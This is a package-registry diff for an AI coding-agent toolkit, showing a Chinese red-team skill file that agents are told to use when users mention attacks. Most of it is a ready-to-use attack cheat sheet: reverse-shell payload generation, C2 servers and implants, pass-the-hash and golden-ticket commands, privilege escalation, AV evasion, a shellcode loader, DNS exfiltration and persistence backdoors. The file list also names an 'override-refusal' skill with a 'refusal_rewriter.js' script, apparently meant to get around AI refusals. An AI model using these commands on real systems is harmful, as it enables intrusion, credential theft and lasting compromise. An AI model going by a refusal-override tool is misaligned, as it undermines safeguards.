ccgx-workflow 1.0.0 → 1.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +37 -5
- package/README.zh-CN.md +35 -5
- package/dist/cli.mjs +1 -1
- package/dist/index.mjs +2 -2
- package/dist/shared/{ccgx-workflow.WgUzkiC3.mjs → ccgx-workflow.Bq9vAaEw.mjs} +17 -110
- package/package.json +2 -1
- package/templates/commands/agents/phase-runner.md +321 -321
- package/templates/commands/autonomous.md +792 -792
- package/templates/commands/cancel.md +132 -132
- package/templates/commands/debug.md +226 -226
- package/templates/commands/status.md +206 -206
- package/templates/commands/team.md +484 -0
- package/templates/hooks/ccg-session-state.cjs +566 -510
- package/templates/scripts/ccg-phase-runner-launcher.mjs +467 -467
- package/templates/scripts/invoke-model.mjs +64 -0
- package/templates/skills/domains/ai/SKILL.md +35 -35
- package/templates/skills/domains/ai/agent-dev.md +242 -242
- package/templates/skills/domains/ai/llm-security.md +288 -288
- package/templates/skills/domains/ai/rag-system.md +542 -542
- package/templates/skills/domains/architecture/SKILL.md +43 -43
- package/templates/skills/domains/architecture/api-design.md +225 -225
- package/templates/skills/domains/architecture/cloud-native.md +285 -285
- package/templates/skills/domains/architecture/security-arch.md +297 -297
- package/templates/skills/domains/data-engineering/SKILL.md +208 -208
- package/templates/skills/domains/development/SKILL.md +47 -47
- package/templates/skills/domains/development/cpp.md +246 -246
- package/templates/skills/domains/development/go.md +323 -323
- package/templates/skills/domains/development/java.md +277 -277
- package/templates/skills/domains/development/python.md +288 -288
- package/templates/skills/domains/development/rust.md +313 -313
- package/templates/skills/domains/development/shell.md +313 -313
- package/templates/skills/domains/development/typescript.md +277 -277
- package/templates/skills/domains/devops/SKILL.md +40 -40
- package/templates/skills/domains/devops/database.md +217 -217
- package/templates/skills/domains/devops/devsecops.md +198 -198
- package/templates/skills/domains/devops/git-workflow.md +181 -181
- package/templates/skills/domains/devops/testing.md +283 -283
- package/templates/skills/domains/frontend-design/SKILL.md +244 -244
- package/templates/skills/domains/frontend-design/claymorphism/SKILL.md +121 -121
- package/templates/skills/domains/frontend-design/component-patterns.md +202 -202
- package/templates/skills/domains/frontend-design/glassmorphism/SKILL.md +142 -142
- package/templates/skills/domains/frontend-design/liquid-glass/SKILL.md +139 -139
- package/templates/skills/domains/frontend-design/neubrutalism/SKILL.md +145 -145
- package/templates/skills/domains/frontend-design/state-management.md +680 -680
- package/templates/skills/domains/frontend-design/ui-aesthetics.md +110 -110
- package/templates/skills/domains/frontend-design/ux-principles.md +156 -156
- package/templates/skills/domains/infrastructure/SKILL.md +201 -201
- package/templates/skills/domains/mobile/SKILL.md +225 -225
- package/templates/skills/domains/orchestration/SKILL.md +30 -30
- package/templates/skills/domains/orchestration/multi-agent.md +228 -228
- package/templates/skills/domains/security/SKILL.md +73 -73
- package/templates/skills/domains/security/blue-team.md +436 -436
- package/templates/skills/domains/security/code-audit.md +265 -265
- package/templates/skills/domains/security/pentest.md +226 -226
- package/templates/skills/domains/security/red-team.md +374 -374
- package/templates/skills/domains/security/threat-intel.md +372 -372
- package/templates/skills/domains/security/vuln-research.md +369 -369
- package/templates/skills/tools/lib/shared.js +98 -98
- package/templates/skills/tools/override-refusal/SKILL.md +53 -53
- package/templates/skills/tools/override-refusal/scripts/refusal_rewriter.js +226 -226
|
@@ -1,374 +1,374 @@
|
|
|
1
|
-
---
|
|
2
|
-
name: red-team
|
|
3
|
-
description: 红队攻击技术。PoC开发、C2框架、横向移动、权限提升、免杀技术。当用户提到红队、PoC、C2、横向移动、PTH、免杀、Cobalt Strike、Sliver、提权时使用。
|
|
4
|
-
---
|
|
5
|
-
|
|
6
|
-
# 🔥 赤焰秘典 · 红队攻击 (Red Team)
|
|
7
|
-
|
|
8
|
-
|
|
9
|
-
## 攻击链 (Kill Chain)
|
|
10
|
-
|
|
11
|
-
```
|
|
12
|
-
侦察 → 武器化 → 投递 → 利用 → 安装 → C2 → 行动
|
|
13
|
-
│ │ │ │ │ │ │
|
|
14
|
-
└─ OSINT ─┴─ PoC ─┴─ 钓鱼 ─┴─ 提权 ─┴─ 持久 ─┴─ 横向
|
|
15
|
-
```
|
|
16
|
-
|
|
17
|
-
## PoC 开发
|
|
18
|
-
|
|
19
|
-
### 标准 PoC 结构
|
|
20
|
-
```python
|
|
21
|
-
#!/usr/bin/env python3
|
|
22
|
-
"""
|
|
23
|
-
漏洞名称: CVE-XXXX-XXXX
|
|
24
|
-
影响版本: x.x.x - x.x.x
|
|
25
|
-
漏洞类型: RCE/SQLi/XSS/SSRF
|
|
26
|
-
"""
|
|
27
|
-
import requests
|
|
28
|
-
import argparse
|
|
29
|
-
|
|
30
|
-
class POC:
|
|
31
|
-
def __init__(self, target: str):
|
|
32
|
-
self.target = target.rstrip('/')
|
|
33
|
-
self.session = requests.Session()
|
|
34
|
-
self.session.headers = {
|
|
35
|
-
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'
|
|
36
|
-
}
|
|
37
|
-
|
|
38
|
-
def check(self) -> bool:
|
|
39
|
-
"""无害检测"""
|
|
40
|
-
try:
|
|
41
|
-
# 使用延时、DNS外带等无害方式验证
|
|
42
|
-
pass
|
|
43
|
-
except Exception as e:
|
|
44
|
-
return False
|
|
45
|
-
|
|
46
|
-
def exploit(self, cmd: str) -> str:
|
|
47
|
-
"""漏洞利用"""
|
|
48
|
-
pass
|
|
49
|
-
|
|
50
|
-
def main():
|
|
51
|
-
parser = argparse.ArgumentParser()
|
|
52
|
-
parser.add_argument('-u', '--url', required=True)
|
|
53
|
-
parser.add_argument('-c', '--cmd', default='id')
|
|
54
|
-
args = parser.parse_args()
|
|
55
|
-
|
|
56
|
-
poc = POC(args.url)
|
|
57
|
-
if poc.check():
|
|
58
|
-
print(f"[+] Vulnerable!")
|
|
59
|
-
print(poc.exploit(args.cmd))
|
|
60
|
-
else:
|
|
61
|
-
print("[-] Not vulnerable")
|
|
62
|
-
|
|
63
|
-
if __name__ == '__main__':
|
|
64
|
-
main()
|
|
65
|
-
```
|
|
66
|
-
|
|
67
|
-
## C2 框架
|
|
68
|
-
|
|
69
|
-
### Sliver (推荐开源)
|
|
70
|
-
```bash
|
|
71
|
-
# 安装
|
|
72
|
-
curl https://sliver.sh/install | sudo bash
|
|
73
|
-
|
|
74
|
-
# 生成 Implant
|
|
75
|
-
sliver > generate --mtls 192.168.1.100 --os windows --save implant.exe
|
|
76
|
-
sliver > generate --http 192.168.1.100 --os linux --save implant
|
|
77
|
-
|
|
78
|
-
# 启动监听
|
|
79
|
-
sliver > mtls --lhost 0.0.0.0 --lport 8888
|
|
80
|
-
sliver > http --lhost 0.0.0.0 --lport 80
|
|
81
|
-
|
|
82
|
-
# 会话操作
|
|
83
|
-
sliver > sessions
|
|
84
|
-
sliver > use SESSION_ID
|
|
85
|
-
sliver (SESSION) > shell
|
|
86
|
-
sliver (SESSION) > download /etc/passwd
|
|
87
|
-
sliver (SESSION) > upload local remote
|
|
88
|
-
```
|
|
89
|
-
|
|
90
|
-
### Metasploit
|
|
91
|
-
```bash
|
|
92
|
-
# 生成 Payload
|
|
93
|
-
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f exe > shell.exe
|
|
94
|
-
|
|
95
|
-
# 监听
|
|
96
|
-
msf6 > use exploit/multi/handler
|
|
97
|
-
msf6 > set payload windows/x64/meterpreter/reverse_tcp
|
|
98
|
-
msf6 > set LHOST 0.0.0.0
|
|
99
|
-
msf6 > run
|
|
100
|
-
|
|
101
|
-
# Meterpreter
|
|
102
|
-
meterpreter > getsystem
|
|
103
|
-
meterpreter > hashdump
|
|
104
|
-
meterpreter > load kiwi
|
|
105
|
-
meterpreter > creds_all
|
|
106
|
-
```
|
|
107
|
-
|
|
108
|
-
### 简易 HTTP C2
|
|
109
|
-
```python
|
|
110
|
-
# Server
|
|
111
|
-
from flask import Flask, request, jsonify
|
|
112
|
-
import base64
|
|
113
|
-
|
|
114
|
-
app = Flask(__name__)
|
|
115
|
-
agents, tasks = {}, {}
|
|
116
|
-
|
|
117
|
-
@app.route('/beacon/<agent_id>')
|
|
118
|
-
def beacon(agent_id):
|
|
119
|
-
if tasks.get(agent_id):
|
|
120
|
-
return jsonify({"task": tasks[agent_id].pop(0)})
|
|
121
|
-
return jsonify({"task": None})
|
|
122
|
-
|
|
123
|
-
@app.route('/result/<agent_id>', methods=['POST'])
|
|
124
|
-
def result(agent_id):
|
|
125
|
-
output = base64.b64decode(request.json['output']).decode()
|
|
126
|
-
print(f"[{agent_id}] {output}")
|
|
127
|
-
return jsonify({"status": "ok"})
|
|
128
|
-
```
|
|
129
|
-
|
|
130
|
-
## 横向移动
|
|
131
|
-
|
|
132
|
-
### Pass-the-Hash (PTH)
|
|
133
|
-
```bash
|
|
134
|
-
# Impacket
|
|
135
|
-
psexec.py -hashes :NTLM_HASH administrator@TARGET
|
|
136
|
-
wmiexec.py -hashes :NTLM_HASH administrator@TARGET
|
|
137
|
-
smbexec.py -hashes :NTLM_HASH administrator@TARGET
|
|
138
|
-
|
|
139
|
-
# CrackMapExec
|
|
140
|
-
crackmapexec smb TARGET -u admin -H HASH -x "whoami"
|
|
141
|
-
crackmapexec smb 192.168.1.0/24 -u admin -H HASH --shares
|
|
142
|
-
|
|
143
|
-
# Mimikatz
|
|
144
|
-
sekurlsa::pth /user:admin /domain:DOMAIN /ntlm:HASH /run:cmd.exe
|
|
145
|
-
```
|
|
146
|
-
|
|
147
|
-
### Pass-the-Ticket (PTT)
|
|
148
|
-
```bash
|
|
149
|
-
# 导出票据
|
|
150
|
-
mimikatz # sekurlsa::tickets /export
|
|
151
|
-
|
|
152
|
-
# 注入票据
|
|
153
|
-
mimikatz # kerberos::ptt ticket.kirbi
|
|
154
|
-
|
|
155
|
-
# Rubeus
|
|
156
|
-
Rubeus.exe ptt /ticket:ticket.kirbi
|
|
157
|
-
```
|
|
158
|
-
|
|
159
|
-
### Kerberos 攻击
|
|
160
|
-
```bash
|
|
161
|
-
# Kerberoasting
|
|
162
|
-
GetUserSPNs.py DOMAIN/user:pass -dc-ip DC_IP -request
|
|
163
|
-
|
|
164
|
-
# AS-REP Roasting
|
|
165
|
-
GetNPUsers.py DOMAIN/ -usersfile users.txt -dc-ip DC_IP
|
|
166
|
-
|
|
167
|
-
# Golden Ticket
|
|
168
|
-
mimikatz # kerberos::golden /user:admin /domain:DOMAIN /sid:S-1-5-21-xxx /krbtgt:HASH /ptt
|
|
169
|
-
```
|
|
170
|
-
|
|
171
|
-
### 远程执行方法
|
|
172
|
-
```bash
|
|
173
|
-
# WinRM
|
|
174
|
-
evil-winrm -i TARGET -u user -H HASH
|
|
175
|
-
|
|
176
|
-
# PowerShell Remoting
|
|
177
|
-
Enter-PSSession -ComputerName TARGET -Credential DOMAIN\user
|
|
178
|
-
Invoke-Command -ComputerName TARGET -ScriptBlock {whoami}
|
|
179
|
-
|
|
180
|
-
# WMI
|
|
181
|
-
wmic /node:TARGET /user:admin /password:pass process call create "cmd.exe /c whoami"
|
|
182
|
-
```
|
|
183
|
-
|
|
184
|
-
## 权限提升
|
|
185
|
-
|
|
186
|
-
### Windows 提权
|
|
187
|
-
```powershell
|
|
188
|
-
# 信息收集
|
|
189
|
-
whoami /priv
|
|
190
|
-
systeminfo
|
|
191
|
-
net user
|
|
192
|
-
net localgroup administrators
|
|
193
|
-
|
|
194
|
-
# 常见提权路径
|
|
195
|
-
- SeImpersonatePrivilege → Potato系列
|
|
196
|
-
- 服务配置错误 → 服务路径劫持
|
|
197
|
-
- 计划任务 → 任务劫持
|
|
198
|
-
- AlwaysInstallElevated → MSI提权
|
|
199
|
-
- 未打补丁 → 内核漏洞
|
|
200
|
-
|
|
201
|
-
# Potato 提权
|
|
202
|
-
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -t *
|
|
203
|
-
PrintSpoofer.exe -i -c cmd
|
|
204
|
-
GodPotato.exe -cmd "cmd /c whoami"
|
|
205
|
-
```
|
|
206
|
-
|
|
207
|
-
### Linux 提权
|
|
208
|
-
```bash
|
|
209
|
-
# 信息收集
|
|
210
|
-
id
|
|
211
|
-
uname -a
|
|
212
|
-
cat /etc/passwd
|
|
213
|
-
sudo -l
|
|
214
|
-
find / -perm -4000 2>/dev/null
|
|
215
|
-
|
|
216
|
-
# 常见提权路径
|
|
217
|
-
- SUID 二进制 → GTFOBins
|
|
218
|
-
- sudo 配置错误 → sudo提权
|
|
219
|
-
- 内核漏洞 → DirtyPipe/DirtyCow
|
|
220
|
-
- 定时任务 → cron劫持
|
|
221
|
-
- 容器逃逸 → Docker/K8s
|
|
222
|
-
|
|
223
|
-
# SUID 利用
|
|
224
|
-
find / -perm -4000 2>/dev/null
|
|
225
|
-
# 查 GTFOBins: https://gtfobins.github.io/
|
|
226
|
-
```
|
|
227
|
-
|
|
228
|
-
## 免杀技术
|
|
229
|
-
|
|
230
|
-
### 基础免杀
|
|
231
|
-
```python
|
|
232
|
-
# 1. 字符串混淆
|
|
233
|
-
import base64
|
|
234
|
-
payload = base64.b64encode(b"malicious_code").decode()
|
|
235
|
-
exec(base64.b64decode(payload))
|
|
236
|
-
|
|
237
|
-
# 2. 动态加载
|
|
238
|
-
import importlib
|
|
239
|
-
module = importlib.import_module("os")
|
|
240
|
-
getattr(module, "system")("whoami")
|
|
241
|
-
|
|
242
|
-
# 3. 加密 Payload
|
|
243
|
-
from Crypto.Cipher import AES
|
|
244
|
-
# 运行时解密执行
|
|
245
|
-
```
|
|
246
|
-
|
|
247
|
-
### Shellcode 加载
|
|
248
|
-
```python
|
|
249
|
-
import ctypes
|
|
250
|
-
|
|
251
|
-
shellcode = b"\xfc\x48\x83..." # msfvenom 生成
|
|
252
|
-
|
|
253
|
-
# Windows
|
|
254
|
-
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
|
|
255
|
-
ptr = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x3000, 0x40)
|
|
256
|
-
ctypes.windll.kernel32.RtlMoveMemory(ptr, shellcode, len(shellcode))
|
|
257
|
-
ctypes.windll.kernel32.CreateThread(0, 0, ptr, 0, 0, 0)
|
|
258
|
-
```
|
|
259
|
-
|
|
260
|
-
### 隐蔽通信
|
|
261
|
-
```python
|
|
262
|
-
# DNS 隧道
|
|
263
|
-
def dns_exfil(data, domain):
|
|
264
|
-
encoded = base64.b32encode(data.encode()).decode()
|
|
265
|
-
for chunk in [encoded[i:i+63] for i in range(0, len(encoded), 63)]:
|
|
266
|
-
dns.resolver.resolve(f"{chunk}.{domain}", 'A')
|
|
267
|
-
|
|
268
|
-
# 域前置
|
|
269
|
-
def domain_fronting(real_host, cdn_domain, data):
|
|
270
|
-
headers = {"Host": real_host}
|
|
271
|
-
requests.post(f"https://{cdn_domain}/api", json=data, headers=headers)
|
|
272
|
-
```
|
|
273
|
-
|
|
274
|
-
## 持久化
|
|
275
|
-
|
|
276
|
-
### Windows
|
|
277
|
-
```powershell
|
|
278
|
-
# 注册表
|
|
279
|
-
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Update" /t REG_SZ /d "C:\backdoor.exe"
|
|
280
|
-
|
|
281
|
-
# 计划任务
|
|
282
|
-
schtasks /create /tn "Update" /tr "C:\backdoor.exe" /sc onlogon
|
|
283
|
-
|
|
284
|
-
# 服务
|
|
285
|
-
sc create backdoor binPath= "C:\backdoor.exe" start= auto
|
|
286
|
-
|
|
287
|
-
# WMI 事件订阅
|
|
288
|
-
# 进程启动时触发
|
|
289
|
-
```
|
|
290
|
-
|
|
291
|
-
### Linux
|
|
292
|
-
```bash
|
|
293
|
-
# Crontab
|
|
294
|
-
echo "* * * * * /tmp/backdoor" >> /var/spool/cron/root
|
|
295
|
-
|
|
296
|
-
# SSH 密钥
|
|
297
|
-
echo "ssh-rsa AAAA..." >> ~/.ssh/authorized_keys
|
|
298
|
-
|
|
299
|
-
# 服务
|
|
300
|
-
# 创建 systemd service
|
|
301
|
-
|
|
302
|
-
# LD_PRELOAD
|
|
303
|
-
echo "/tmp/evil.so" >> /etc/ld.so.preload
|
|
304
|
-
```
|
|
305
|
-
|
|
306
|
-
## 工具清单
|
|
307
|
-
|
|
308
|
-
| 工具 | 用途 |
|
|
309
|
-
|------|------|
|
|
310
|
-
| Sliver | 开源 C2 框架 |
|
|
311
|
-
| Metasploit | 渗透测试框架 |
|
|
312
|
-
| Cobalt Strike | 商业 C2 |
|
|
313
|
-
| Impacket | Windows 协议工具 |
|
|
314
|
-
| CrackMapExec | 批量横向 |
|
|
315
|
-
| Mimikatz | 凭证提取 |
|
|
316
|
-
| Rubeus | Kerberos 工具 |
|
|
317
|
-
| BloodHound | AD 路径分析 |
|
|
318
|
-
|
|
319
|
-
## 供应链安全
|
|
320
|
-
|
|
321
|
-
### 供应链攻击向量
|
|
322
|
-
```
|
|
323
|
-
源代码 → 构建 → 制品 → 分发 → 部署 → 运行
|
|
324
|
-
│ │ │ │ │ │
|
|
325
|
-
投毒 篡改 后门 劫持 提权 横向
|
|
326
|
-
```
|
|
327
|
-
|
|
328
|
-
| 阶段 | 攻击方式 | 示例 |
|
|
329
|
-
|------|----------|------|
|
|
330
|
-
| 源代码 | 依赖投毒 | event-stream、ua-parser-js |
|
|
331
|
-
| 构建 | CI/CD 劫持 | SolarWinds、CodeCov |
|
|
332
|
-
| 制品 | 恶意包 | PyPI/npm 钓鱼包 |
|
|
333
|
-
| 部署 | 配置篡改 | K8s YAML 注入 |
|
|
334
|
-
| 运行 | 容器逃逸 | 特权容器、内核漏洞 |
|
|
335
|
-
|
|
336
|
-
### SBOM + 依赖扫描
|
|
337
|
-
```bash
|
|
338
|
-
# SBOM 生成 (Syft)
|
|
339
|
-
syft nginx:latest -o cyclonedx-json > sbom.json
|
|
340
|
-
|
|
341
|
-
# 漏洞扫描 (Trivy)
|
|
342
|
-
trivy image --severity HIGH,CRITICAL nginx:latest
|
|
343
|
-
trivy fs --scanners vuln,secret,misconfig .
|
|
344
|
-
|
|
345
|
-
# 依赖扫描 (Grype)
|
|
346
|
-
grype sbom:./sbom.json
|
|
347
|
-
```
|
|
348
|
-
|
|
349
|
-
### 签名验证 (Sigstore/Cosign)
|
|
350
|
-
```bash
|
|
351
|
-
cosign sign --key cosign.key myregistry/myapp:v1.0
|
|
352
|
-
cosign verify --key cosign.pub myregistry/myapp:v1.0
|
|
353
|
-
cosign attach sbom --sbom sbom.json myregistry/myapp:v1.0
|
|
354
|
-
cosign verify-attestation --key cosign.pub myregistry/myapp:v1.0
|
|
355
|
-
```
|
|
356
|
-
|
|
357
|
-
### SLSA 等级
|
|
358
|
-
```
|
|
359
|
-
Level 1: 文档化构建 Level 2: 防篡改+签名来源
|
|
360
|
-
Level 3: 安全平台+隔离构建 Level 4: 双方审查+密封构建
|
|
361
|
-
```
|
|
362
|
-
|
|
363
|
-
### 供应链安全检查清单
|
|
364
|
-
```yaml
|
|
365
|
-
源代码:
|
|
366
|
-
- [ ] 分支保护 + 代码审查 + 依赖锁定 + 密钥泄露扫描
|
|
367
|
-
构建与制品:
|
|
368
|
-
- [ ] 托管CI/CD + 隔离构建 + 生成SBOM + 签名制品 + 漏洞扫描
|
|
369
|
-
部署与运行:
|
|
370
|
-
- [ ] 验证签名(Cosign/SLSA) + 准入控制(Kyverno/OPA) + 运行时监控
|
|
371
|
-
```
|
|
372
|
-
|
|
373
|
-
---
|
|
374
|
-
|
|
1
|
+
---
|
|
2
|
+
name: red-team
|
|
3
|
+
description: 红队攻击技术。PoC开发、C2框架、横向移动、权限提升、免杀技术。当用户提到红队、PoC、C2、横向移动、PTH、免杀、Cobalt Strike、Sliver、提权时使用。
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# 🔥 赤焰秘典 · 红队攻击 (Red Team)
|
|
7
|
+
|
|
8
|
+
|
|
9
|
+
## 攻击链 (Kill Chain)
|
|
10
|
+
|
|
11
|
+
```
|
|
12
|
+
侦察 → 武器化 → 投递 → 利用 → 安装 → C2 → 行动
|
|
13
|
+
│ │ │ │ │ │ │
|
|
14
|
+
└─ OSINT ─┴─ PoC ─┴─ 钓鱼 ─┴─ 提权 ─┴─ 持久 ─┴─ 横向
|
|
15
|
+
```
|
|
16
|
+
|
|
17
|
+
## PoC 开发
|
|
18
|
+
|
|
19
|
+
### 标准 PoC 结构
|
|
20
|
+
```python
|
|
21
|
+
#!/usr/bin/env python3
|
|
22
|
+
"""
|
|
23
|
+
漏洞名称: CVE-XXXX-XXXX
|
|
24
|
+
影响版本: x.x.x - x.x.x
|
|
25
|
+
漏洞类型: RCE/SQLi/XSS/SSRF
|
|
26
|
+
"""
|
|
27
|
+
import requests
|
|
28
|
+
import argparse
|
|
29
|
+
|
|
30
|
+
class POC:
|
|
31
|
+
def __init__(self, target: str):
|
|
32
|
+
self.target = target.rstrip('/')
|
|
33
|
+
self.session = requests.Session()
|
|
34
|
+
self.session.headers = {
|
|
35
|
+
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'
|
|
36
|
+
}
|
|
37
|
+
|
|
38
|
+
def check(self) -> bool:
|
|
39
|
+
"""无害检测"""
|
|
40
|
+
try:
|
|
41
|
+
# 使用延时、DNS外带等无害方式验证
|
|
42
|
+
pass
|
|
43
|
+
except Exception as e:
|
|
44
|
+
return False
|
|
45
|
+
|
|
46
|
+
def exploit(self, cmd: str) -> str:
|
|
47
|
+
"""漏洞利用"""
|
|
48
|
+
pass
|
|
49
|
+
|
|
50
|
+
def main():
|
|
51
|
+
parser = argparse.ArgumentParser()
|
|
52
|
+
parser.add_argument('-u', '--url', required=True)
|
|
53
|
+
parser.add_argument('-c', '--cmd', default='id')
|
|
54
|
+
args = parser.parse_args()
|
|
55
|
+
|
|
56
|
+
poc = POC(args.url)
|
|
57
|
+
if poc.check():
|
|
58
|
+
print(f"[+] Vulnerable!")
|
|
59
|
+
print(poc.exploit(args.cmd))
|
|
60
|
+
else:
|
|
61
|
+
print("[-] Not vulnerable")
|
|
62
|
+
|
|
63
|
+
if __name__ == '__main__':
|
|
64
|
+
main()
|
|
65
|
+
```
|
|
66
|
+
|
|
67
|
+
## C2 框架
|
|
68
|
+
|
|
69
|
+
### Sliver (推荐开源)
|
|
70
|
+
```bash
|
|
71
|
+
# 安装
|
|
72
|
+
curl https://sliver.sh/install | sudo bash
|
|
73
|
+
|
|
74
|
+
# 生成 Implant
|
|
75
|
+
sliver > generate --mtls 192.168.1.100 --os windows --save implant.exe
|
|
76
|
+
sliver > generate --http 192.168.1.100 --os linux --save implant
|
|
77
|
+
|
|
78
|
+
# 启动监听
|
|
79
|
+
sliver > mtls --lhost 0.0.0.0 --lport 8888
|
|
80
|
+
sliver > http --lhost 0.0.0.0 --lport 80
|
|
81
|
+
|
|
82
|
+
# 会话操作
|
|
83
|
+
sliver > sessions
|
|
84
|
+
sliver > use SESSION_ID
|
|
85
|
+
sliver (SESSION) > shell
|
|
86
|
+
sliver (SESSION) > download /etc/passwd
|
|
87
|
+
sliver (SESSION) > upload local remote
|
|
88
|
+
```
|
|
89
|
+
|
|
90
|
+
### Metasploit
|
|
91
|
+
```bash
|
|
92
|
+
# 生成 Payload
|
|
93
|
+
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f exe > shell.exe
|
|
94
|
+
|
|
95
|
+
# 监听
|
|
96
|
+
msf6 > use exploit/multi/handler
|
|
97
|
+
msf6 > set payload windows/x64/meterpreter/reverse_tcp
|
|
98
|
+
msf6 > set LHOST 0.0.0.0
|
|
99
|
+
msf6 > run
|
|
100
|
+
|
|
101
|
+
# Meterpreter
|
|
102
|
+
meterpreter > getsystem
|
|
103
|
+
meterpreter > hashdump
|
|
104
|
+
meterpreter > load kiwi
|
|
105
|
+
meterpreter > creds_all
|
|
106
|
+
```
|
|
107
|
+
|
|
108
|
+
### 简易 HTTP C2
|
|
109
|
+
```python
|
|
110
|
+
# Server
|
|
111
|
+
from flask import Flask, request, jsonify
|
|
112
|
+
import base64
|
|
113
|
+
|
|
114
|
+
app = Flask(__name__)
|
|
115
|
+
agents, tasks = {}, {}
|
|
116
|
+
|
|
117
|
+
@app.route('/beacon/<agent_id>')
|
|
118
|
+
def beacon(agent_id):
|
|
119
|
+
if tasks.get(agent_id):
|
|
120
|
+
return jsonify({"task": tasks[agent_id].pop(0)})
|
|
121
|
+
return jsonify({"task": None})
|
|
122
|
+
|
|
123
|
+
@app.route('/result/<agent_id>', methods=['POST'])
|
|
124
|
+
def result(agent_id):
|
|
125
|
+
output = base64.b64decode(request.json['output']).decode()
|
|
126
|
+
print(f"[{agent_id}] {output}")
|
|
127
|
+
return jsonify({"status": "ok"})
|
|
128
|
+
```
|
|
129
|
+
|
|
130
|
+
## 横向移动
|
|
131
|
+
|
|
132
|
+
### Pass-the-Hash (PTH)
|
|
133
|
+
```bash
|
|
134
|
+
# Impacket
|
|
135
|
+
psexec.py -hashes :NTLM_HASH administrator@TARGET
|
|
136
|
+
wmiexec.py -hashes :NTLM_HASH administrator@TARGET
|
|
137
|
+
smbexec.py -hashes :NTLM_HASH administrator@TARGET
|
|
138
|
+
|
|
139
|
+
# CrackMapExec
|
|
140
|
+
crackmapexec smb TARGET -u admin -H HASH -x "whoami"
|
|
141
|
+
crackmapexec smb 192.168.1.0/24 -u admin -H HASH --shares
|
|
142
|
+
|
|
143
|
+
# Mimikatz
|
|
144
|
+
sekurlsa::pth /user:admin /domain:DOMAIN /ntlm:HASH /run:cmd.exe
|
|
145
|
+
```
|
|
146
|
+
|
|
147
|
+
### Pass-the-Ticket (PTT)
|
|
148
|
+
```bash
|
|
149
|
+
# 导出票据
|
|
150
|
+
mimikatz # sekurlsa::tickets /export
|
|
151
|
+
|
|
152
|
+
# 注入票据
|
|
153
|
+
mimikatz # kerberos::ptt ticket.kirbi
|
|
154
|
+
|
|
155
|
+
# Rubeus
|
|
156
|
+
Rubeus.exe ptt /ticket:ticket.kirbi
|
|
157
|
+
```
|
|
158
|
+
|
|
159
|
+
### Kerberos 攻击
|
|
160
|
+
```bash
|
|
161
|
+
# Kerberoasting
|
|
162
|
+
GetUserSPNs.py DOMAIN/user:pass -dc-ip DC_IP -request
|
|
163
|
+
|
|
164
|
+
# AS-REP Roasting
|
|
165
|
+
GetNPUsers.py DOMAIN/ -usersfile users.txt -dc-ip DC_IP
|
|
166
|
+
|
|
167
|
+
# Golden Ticket
|
|
168
|
+
mimikatz # kerberos::golden /user:admin /domain:DOMAIN /sid:S-1-5-21-xxx /krbtgt:HASH /ptt
|
|
169
|
+
```
|
|
170
|
+
|
|
171
|
+
### 远程执行方法
|
|
172
|
+
```bash
|
|
173
|
+
# WinRM
|
|
174
|
+
evil-winrm -i TARGET -u user -H HASH
|
|
175
|
+
|
|
176
|
+
# PowerShell Remoting
|
|
177
|
+
Enter-PSSession -ComputerName TARGET -Credential DOMAIN\user
|
|
178
|
+
Invoke-Command -ComputerName TARGET -ScriptBlock {whoami}
|
|
179
|
+
|
|
180
|
+
# WMI
|
|
181
|
+
wmic /node:TARGET /user:admin /password:pass process call create "cmd.exe /c whoami"
|
|
182
|
+
```
|
|
183
|
+
|
|
184
|
+
## 权限提升
|
|
185
|
+
|
|
186
|
+
### Windows 提权
|
|
187
|
+
```powershell
|
|
188
|
+
# 信息收集
|
|
189
|
+
whoami /priv
|
|
190
|
+
systeminfo
|
|
191
|
+
net user
|
|
192
|
+
net localgroup administrators
|
|
193
|
+
|
|
194
|
+
# 常见提权路径
|
|
195
|
+
- SeImpersonatePrivilege → Potato系列
|
|
196
|
+
- 服务配置错误 → 服务路径劫持
|
|
197
|
+
- 计划任务 → 任务劫持
|
|
198
|
+
- AlwaysInstallElevated → MSI提权
|
|
199
|
+
- 未打补丁 → 内核漏洞
|
|
200
|
+
|
|
201
|
+
# Potato 提权
|
|
202
|
+
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -t *
|
|
203
|
+
PrintSpoofer.exe -i -c cmd
|
|
204
|
+
GodPotato.exe -cmd "cmd /c whoami"
|
|
205
|
+
```
|
|
206
|
+
|
|
207
|
+
### Linux 提权
|
|
208
|
+
```bash
|
|
209
|
+
# 信息收集
|
|
210
|
+
id
|
|
211
|
+
uname -a
|
|
212
|
+
cat /etc/passwd
|
|
213
|
+
sudo -l
|
|
214
|
+
find / -perm -4000 2>/dev/null
|
|
215
|
+
|
|
216
|
+
# 常见提权路径
|
|
217
|
+
- SUID 二进制 → GTFOBins
|
|
218
|
+
- sudo 配置错误 → sudo提权
|
|
219
|
+
- 内核漏洞 → DirtyPipe/DirtyCow
|
|
220
|
+
- 定时任务 → cron劫持
|
|
221
|
+
- 容器逃逸 → Docker/K8s
|
|
222
|
+
|
|
223
|
+
# SUID 利用
|
|
224
|
+
find / -perm -4000 2>/dev/null
|
|
225
|
+
# 查 GTFOBins: https://gtfobins.github.io/
|
|
226
|
+
```
|
|
227
|
+
|
|
228
|
+
## 免杀技术
|
|
229
|
+
|
|
230
|
+
### 基础免杀
|
|
231
|
+
```python
|
|
232
|
+
# 1. 字符串混淆
|
|
233
|
+
import base64
|
|
234
|
+
payload = base64.b64encode(b"malicious_code").decode()
|
|
235
|
+
exec(base64.b64decode(payload))
|
|
236
|
+
|
|
237
|
+
# 2. 动态加载
|
|
238
|
+
import importlib
|
|
239
|
+
module = importlib.import_module("os")
|
|
240
|
+
getattr(module, "system")("whoami")
|
|
241
|
+
|
|
242
|
+
# 3. 加密 Payload
|
|
243
|
+
from Crypto.Cipher import AES
|
|
244
|
+
# 运行时解密执行
|
|
245
|
+
```
|
|
246
|
+
|
|
247
|
+
### Shellcode 加载
